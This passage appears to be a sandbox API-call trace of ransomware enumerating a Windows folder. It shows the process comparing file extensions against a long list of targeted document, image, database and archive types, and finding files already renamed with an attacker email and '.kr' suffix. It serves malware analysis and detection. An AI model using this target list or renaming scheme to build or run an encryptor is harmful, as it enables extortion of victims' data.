lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".divx") returned 5 [0084.479] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".djvu") returned 5 [0084.479] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".dng") returned 4 [0084.479] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".doc") returned 4 [0084.479] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".docm") returned 5 [0084.479] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".docx") returned 5 [0084.479] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".dot") returned 4 [0084.479] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dotm") returned 5 [0084.479] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".dotx") returned 5 [0084.479] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0084.479] lstrlenW (lpString=".dpx") returned 4 [0084.479] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dqy") returned 4 [0084.479] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dsn") returned 4 [0084.479] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dt") returned 3 [0084.480] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0084.480] lstrlenW (lpString=".dtd") returned 4 [0084.480] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".dwg") returned 4 [0084.480] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".dwt") returned 4 [0084.480] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".dx") returned 3 [0084.480] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0084.480] lstrlenW (lpString=".dxf") returned 4 [0084.480] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".edml") returned 5 [0084.480] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0084.480] lstrlenW (lpString=".efd") returned 4 [0084.480] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".elf") returned 4 [0084.480] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".emf") returned 4 [0084.480] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".emz") returned 4 [0084.480] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".epf") returned 4 [0084.480] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".eps") returned 4 [0084.480] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".epsf") returned 5 [0084.480] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0084.480] lstrlenW (lpString=".epsp") returned 5 [0084.480] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0084.480] lstrlenW (lpString=".erf") returned 4 [0084.480] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0084.480] lstrlenW (lpString=".exr") returned 4 [0084.480] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".f4v") returned 4 [0084.481] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".fido") returned 5 [0084.481] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0084.481] lstrlenW (lpString=".flm") returned 4 [0084.481] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".flv") returned 4 [0084.481] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".frm") returned 4 [0084.481] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".fxg") returned 4 [0084.481] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".geo") returned 4 [0084.481] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".gif") returned 4 [0084.481] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".grs") returned 4 [0084.481] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".gz") returned 3 [0084.481] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0084.481] lstrlenW (lpString=".h") returned 2 [0084.481] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0084.481] lstrlenW (lpString=".hdr") returned 4 [0084.481] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".hpp") returned 4 [0084.481] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".hta") returned 4 [0084.481] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".htc") returned 4 [0084.481] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0084.481] lstrlenW (lpString=".htm") returned 4 [0084.481] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".html") returned 5 [0084.482] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0084.482] lstrlenW (lpString=".icb") returned 4 [0084.482] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".ics") returned 4 [0084.482] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".iff") returned 4 [0084.482] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".inc") returned 4 [0084.482] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".indd") returned 5 [0084.482] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0084.482] lstrlenW (lpString=".ini") returned 4 [0084.482] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".iqy") returned 4 [0084.482] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".j2c") returned 4 [0084.482] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".j2k") returned 4 [0084.482] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".java") returned 5 [0084.482] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0084.482] lstrlenW (lpString=".jp2") returned 4 [0084.482] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".jpc") returned 4 [0084.482] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".jpe") returned 4 [0084.482] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0084.482] lstrlenW (lpString=".jpeg") returned 5 [0084.482] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0084.482] lstrlenW (lpString=".jpf") returned 4 [0084.482] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".jpg") returned 4 [0084.483] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".jpx") returned 4 [0084.483] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".js") returned 3 [0084.483] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0084.483] lstrlenW (lpString=".jsf") returned 4 [0084.483] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".json") returned 5 [0084.483] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0084.483] lstrlenW (lpString=".jsp") returned 4 [0084.483] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".kdc") returned 4 [0084.483] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".kmz") returned 4 [0084.483] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".kwm") returned 4 [0084.483] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".lasso") returned 6 [0084.483] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0084.483] lstrlenW (lpString=".lbi") returned 4 [0084.483] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".lgf") returned 4 [0084.483] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".lgp") returned 4 [0084.483] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".log") returned 4 [0084.483] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".m1v") returned 4 [0084.483] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0084.483] lstrlenW (lpString=".m4a") returned 4 [0084.483] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".m4v") returned 4 [0084.484] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".max") returned 4 [0084.484] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".md") returned 3 [0084.484] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0084.484] lstrlenW (lpString=".mda") returned 4 [0084.484] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mdb") returned 4 [0084.484] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mde") returned 4 [0084.484] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mdf") returned 4 [0084.484] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mdw") returned 4 [0084.484] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mef") returned 4 [0084.484] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mft") returned 4 [0084.484] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mfw") returned 4 [0084.484] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mht") returned 4 [0084.484] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mhtml") returned 6 [0084.484] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0084.484] lstrlenW (lpString=".mka") returned 4 [0084.484] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mkidx") returned 6 [0084.484] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0084.484] lstrlenW (lpString=".mkv") returned 4 [0084.484] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0084.484] lstrlenW (lpString=".mos") returned 4 [0084.485] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mov") returned 4 [0084.485] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mp3") returned 4 [0084.485] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mp4") returned 4 [0084.485] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mpeg") returned 5 [0084.485] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0084.485] lstrlenW (lpString=".mpg") returned 4 [0084.485] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mpv") returned 4 [0084.485] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mrw") returned 4 [0084.485] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".msg") returned 4 [0084.485] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".mxl") returned 4 [0084.485] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".myd") returned 4 [0084.485] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".myi") returned 4 [0084.485] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".nef") returned 4 [0084.485] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".nrw") returned 4 [0084.485] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".obj") returned 4 [0084.485] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".odb") returned 4 [0084.485] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0084.485] lstrlenW (lpString=".odc") returned 4 [0084.485] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".odm") returned 4 [0084.486] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".odp") returned 4 [0084.486] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".ods") returned 4 [0084.486] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".oft") returned 4 [0084.486] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".one") returned 4 [0084.486] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".onepkg") returned 7 [0084.486] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0084.486] lstrlenW (lpString=".onetoc2") returned 8 [0084.486] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0084.486] lstrlenW (lpString=".opt") returned 4 [0084.486] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".oqy") returned 4 [0084.486] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".orf") returned 4 [0084.486] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".p12") returned 4 [0084.486] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".p7b") returned 4 [0084.486] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".p7c") returned 4 [0084.486] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0084.486] lstrlenW (lpString=".pam") returned 4 [0084.487] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pbm") returned 4 [0084.487] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pct") returned 4 [0084.487] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pcx") returned 4 [0084.487] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pdd") returned 4 [0084.487] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pdf") returned 4 [0084.487] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pdp") returned 4 [0084.487] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pef") returned 4 [0084.487] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pem") returned 4 [0084.487] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pff") returned 4 [0084.487] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pfm") returned 4 [0084.487] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pfx") returned 4 [0084.487] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".pgm") returned 4 [0084.487] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".php") returned 4 [0084.487] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0084.487] lstrlenW (lpString=".php3") returned 5 [0084.488] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0084.488] lstrlenW (lpString=".php4") returned 5 [0084.488] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0084.488] lstrlenW (lpString=".php5") returned 5 [0084.488] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0084.488] lstrlenW (lpString=".phtml") returned 6 [0084.488] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0084.488] lstrlenW (lpString=".pict") returned 5 [0084.488] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0084.488] lstrlenW (lpString=".pl") returned 3 [0084.488] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0084.488] lstrlenW (lpString=".pls") returned 4 [0084.488] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0084.488] lstrlenW (lpString=".pm") returned 3 [0084.488] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0084.488] lstrlenW (lpString=".png") returned 4 [0084.489] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".pnm") returned 4 [0084.489] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".pot") returned 4 [0084.489] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".potm") returned 5 [0084.489] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".potx") returned 5 [0084.489] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".ppa") returned 4 [0084.489] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".ppam") returned 5 [0084.489] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".ppm") returned 4 [0084.489] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".pps") returned 4 [0084.489] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".ppsm") returned 5 [0084.489] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".ppt") returned 4 [0084.489] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0084.489] lstrlenW (lpString=".pptm") returned 5 [0084.489] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".pptx") returned 5 [0084.489] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0084.489] lstrlenW (lpString=".prn") returned 4 [0084.490] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".ps") returned 3 [0084.490] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0084.490] lstrlenW (lpString=".psb") returned 4 [0084.490] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".psd") returned 4 [0084.490] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".pst") returned 4 [0084.490] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".ptx") returned 4 [0084.490] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".pub") returned 4 [0084.490] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".pwm") returned 4 [0084.490] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".pxr") returned 4 [0084.490] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".py") returned 3 [0084.490] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0084.490] lstrlenW (lpString=".qt") returned 3 [0084.490] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0084.490] lstrlenW (lpString=".r3d") returned 4 [0084.490] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".raf") returned 4 [0084.490] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0084.490] lstrlenW (lpString=".rar") returned 4 [0084.490] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0084.491] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a6d7d5, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a6d7d5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a938e2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0084.491] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.491] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.491] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0084.491] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0084.491] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0084.492] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0084.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26 [0084.492] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603d0 [0084.492] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.492] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56a4066, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56a4066, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56ca1e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0084.492] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0084.492] lstrlenW (lpString=".1cd") returned 4 [0084.492] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0084.492] lstrlenW (lpString=".3ds") returned 4 [0084.492] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0084.492] lstrlenW (lpString=".3fr") returned 4 [0084.492] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0084.492] lstrlenW (lpString=".3g2") returned 4 [0084.492] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0084.492] lstrlenW (lpString=".3gp") returned 4 [0084.492] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0084.493] lstrlenW (lpString=".7z") returned 3 [0084.493] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0084.493] lstrlenW (lpString=".accda") returned 6 [0084.493] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".accdb") returned 6 [0084.493] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".accdc") returned 6 [0084.493] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".accde") returned 6 [0084.493] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".accdt") returned 6 [0084.493] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".accdw") returned 6 [0084.493] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0084.493] lstrlenW (lpString=".adb") returned 4 [0084.493] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0084.493] lstrlenW (lpString=".adp") returned 4 [0084.493] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0084.493] lstrlenW (lpString=".ai") returned 3 [0084.493] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0084.493] lstrlenW (lpString=".ai3") returned 4 [0084.493] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0084.493] lstrlenW (lpString=".ai4") returned 4 [0084.493] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0084.493] lstrlenW (lpString=".ai5") returned 4 [0084.493] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0084.493] 